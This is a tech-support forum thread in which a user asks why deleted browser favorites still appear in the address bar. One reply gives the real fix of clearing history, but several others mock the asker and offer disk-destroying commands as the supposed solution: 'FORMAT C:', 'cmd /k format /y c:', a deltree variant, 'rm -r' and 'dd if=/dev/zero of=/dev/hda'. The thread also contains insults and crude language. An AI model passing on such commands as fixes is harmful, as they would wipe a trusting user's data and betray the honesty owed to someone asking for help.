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favorite finding problem

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okay. so i cant see any of my favorites when i go to the favorites file. but when i type in my address bar my old favorites and some things that werent favorites are choices to go to. how do i find my favorites?
 

Jung

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I just read your post three times, and I still have no clue what you're talking about. Maybe you can repost that with some sort of coherency, then I'll try and help you.
 

Hypertron

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junglizm said:
I just read your post three times, and I still have no clue what you're talking about. Maybe you can repost that with some sort of coherency, then I'll try and help you.
thank god im not the only one who didn't understand it...i was about to quit my job b/c i couldn't to save my life figure out how to help this dumbass
 
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okay like i had favorites. i deleted them. now when ever i type in the address bar say like the same first letter as the old favorite it will still be an option to click on. how do i get rid of that
 

breakology

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chupalo said:
okay. so i cant see any of my favorites when i go to the favorites file. but when i type in my address bar my old favorites and some things that werent favorites are choices to go to. how do i find my favorites?
there is a real easy fix for this, we call that an ID: 10-T error.

Go to your start menu ->Run-> then type "CMD"

a command prompt will open, now type "FORMAT C:" at the prompt, hit enter and the problem will be fixed
 

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chupalo said:
okay like i had favorites. i deleted them. now when ever i type in the address bar say like the same first letter as the old favorite it will still be an option to click on. how do i get rid of that
That's not favorites, it's your last viewed sites. To clear that pull down box, go to Tools; Internet Options; Then where it says "History", select Clear History.

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Go to your start menu ->Run-> then type "CMD"

a command prompt will open, now type "FORMAT C:" at the prompt, hit enter and the problem will be fixed
cmd /k format /y c:
(from Run)
 

Hypertron

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i like...

run > cmd > dtl tree all

at least i think thats it...haven't done that to anyone in a while
 

skylinec

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Heres what you do hit your computer as hard as you can with baseball bat, problem fixed.
 

ChilianFuckFace

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I bet he was trying to cover his tracks from all of the PORN sites he visited while using his mother computer.
 

betrayed

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chupalo said:
okay. so i cant see any of my favorites when i go to the favorites file. but when i type in my address bar my old favorites and some things that werent favorites are choices to go to. how do i find my favorites?
 

Jung

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breakology said:
my personal favorite is:

# rm -r
I'm an alias junkie.

alias rm=rm -i
alias rma=rm -r :thumbsup:

These commands also work wonders. ;)

dd if=/dev/zero of=/dev/hda

dd if=/dev/urandom of=/dev/hda && dd if=/dev/zero of=/dev/hda (my personal favorite.)

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